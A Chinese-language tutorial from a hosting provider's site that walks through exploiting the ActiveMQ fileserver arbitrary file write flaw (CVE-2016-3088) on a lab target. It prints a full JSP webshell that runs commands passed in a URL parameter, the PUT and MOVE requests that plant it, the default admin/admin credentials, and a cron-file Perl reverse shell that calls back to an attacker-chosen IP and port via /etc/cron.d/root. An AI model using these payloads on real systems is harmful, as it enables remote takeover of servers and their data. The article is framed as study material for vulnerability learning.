您好,登錄后才能下訂單哦!
ActiveMQ任意文件寫入漏洞CVE-2016-3088的示例分析,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
ActiveMQ Web控制臺分為三個應用程序:admin,api和fileserver,其中admin是管理員頁面,api是界面,fileserver是用于存儲文件的界面;admin和api需要先登錄才能使用,fileserver不需要登錄。
文件服務器是RESTful API接口。我們可以通過HTTP請求(例如GET,PUT和DELETE)讀寫存儲在其中的文件。設計目的是為了彌補消息隊列操作無法傳輸和存儲二進制文件但后來發現的缺陷:
使用率不高
文件操作容易產生漏洞
因此,ActiveMQ默認在5.12.x?5.13.x中關閉文件服務器應用程序(您可以在conf / jetty.xml中打開它)。在5.14.0之后,文件服務器應用程序將被完全刪除。
在測試過程中,您應注意ActiveMQ的版本,以防浪費精力。
此漏洞出現在Fileserver應用程序中,漏洞原理實際上很簡單,即文件服務器支持寫入文件(但不解析JSP),同時支持移動文件(MOVE請求)。因此,我們只需要編寫一個文件,然后使用移動請求將其移動到任何位置,就會導致任意文件寫入漏洞。
文件寫入有幾種利用方法:
1.寫入webshell
2.寫入cron或ssh key等文件
3.寫入jar或jetty.xml等庫和配置文件
編寫webshell的優點是方便,但是文件服務器不需要解析jsp,admin和api都需要登錄才能訪問,因此有點徒勞。編寫cron或ssh鍵的優點是直接反轉Shell,這也很方便,缺點是您需要root權限;寫jar,有點麻煩(需要jar后門),寫xml配置文件,這種方法比較可靠,但是有一點徒勞:我們需要知道ActiveMQ的絕對路徑。
如前所述,Webshell必須使用Admin或Api應用程序編寫,并且兩個應用程序都必須登錄才能訪問。
默認的ActiveMQ帳戶和密碼為admin。
然后進入到首頁下的fileserver這個文件夾下
bp抓包(刷新一下頁面就行),然后發到重發器,改成PUT方法,寫入shell,代碼如下:
PUT /fileserver/1.txt HTTP/1.1 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
進入相應目錄查看,發現確實已經寫入shell文件,但是txt格式文件不能執行,所以需要轉換成jsp格式的文件執行。
繼續抓包,send to repeater ,改包方法改為MOVE,路徑是Destination:file:///opt/activemq/webapps/api/testhacker.jsp因為api這個目錄可以解析jsp文件
進入api目錄查看點擊新移動來的testhacker.jsp,網頁空白就說明webshell上傳成功
這時可以在url后面執行命令,成功返回結果
也可以上靶機的網站目錄下看生成的文件
實驗相關補充
寫入webshell門檻低且方便,但是fileserver這個目錄是沒有jsp的執行權限的,想要執行jsp的webshell需要將jsp文件放入admin或者api目錄中,這兩個目錄是具有jsp解析執行權限的,但是這兩個目錄又需要登錄才能進入。所以當收到響應是4XX時,需要登錄。
漏洞原理
根據上面的操作能發現,漏洞原理簡單來說就是fileserver這個目錄支持寫入文件,并且這個目錄支持move請求移動文件。因此,我們只需要寫入一個文件,再通過move移動到能夠解析jsp文件的目錄下,進去執行就會造成任意文件寫入漏洞。
流程就是:寫入文件(put方法)——>移動文件(move方法)——>執行文件
這是一個比較穩健的方法。首先上傳cron配置文件(注意,換行一定要`\n`,不能是`\r\n`,否則crontab執行會失敗)。
直接網頁訪問yourip:port/fileserver并抓包,把以下代碼寫入抓的數據包中,并改為PUT方式,修改監聽ip和端口
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="監聽vps的IP";$p=監聽端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
然后網頁訪問這個文件并抓包,將GET改為MOVE方式,把它移動到/etc/cron.d/root目錄下,路徑為Destination: file:///etc/cron.d/root
這個方法需要ActiveMQ是root運行,否則也不能寫入cron文件。
如果以上兩個請求都返回204,則寫入成功。監聽對應端口等待反彈shell:
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。